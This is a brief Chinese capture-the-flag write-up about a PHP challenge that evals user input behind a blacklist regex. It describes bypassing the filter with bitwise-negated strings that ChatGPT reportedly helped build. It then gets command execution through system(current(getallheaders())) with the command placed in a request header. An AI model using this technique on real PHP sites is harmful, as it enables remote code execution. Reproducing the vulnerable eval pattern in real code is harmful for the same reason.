打开题目环境,发现如下代码
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
尝试一下绕过上面的正则表达式,用取反试一试,不得不说,chatgpt666
再
传进去试一下,可以用phpinfo()
继续构造payload,继续gtp
用system(current(getallheaders()));搞一搞,然后在请求的时候,将头部信息修改,改成我们想要执行的代码
执行命令一步步找......
找到疑似flag所在的文件
拿到flag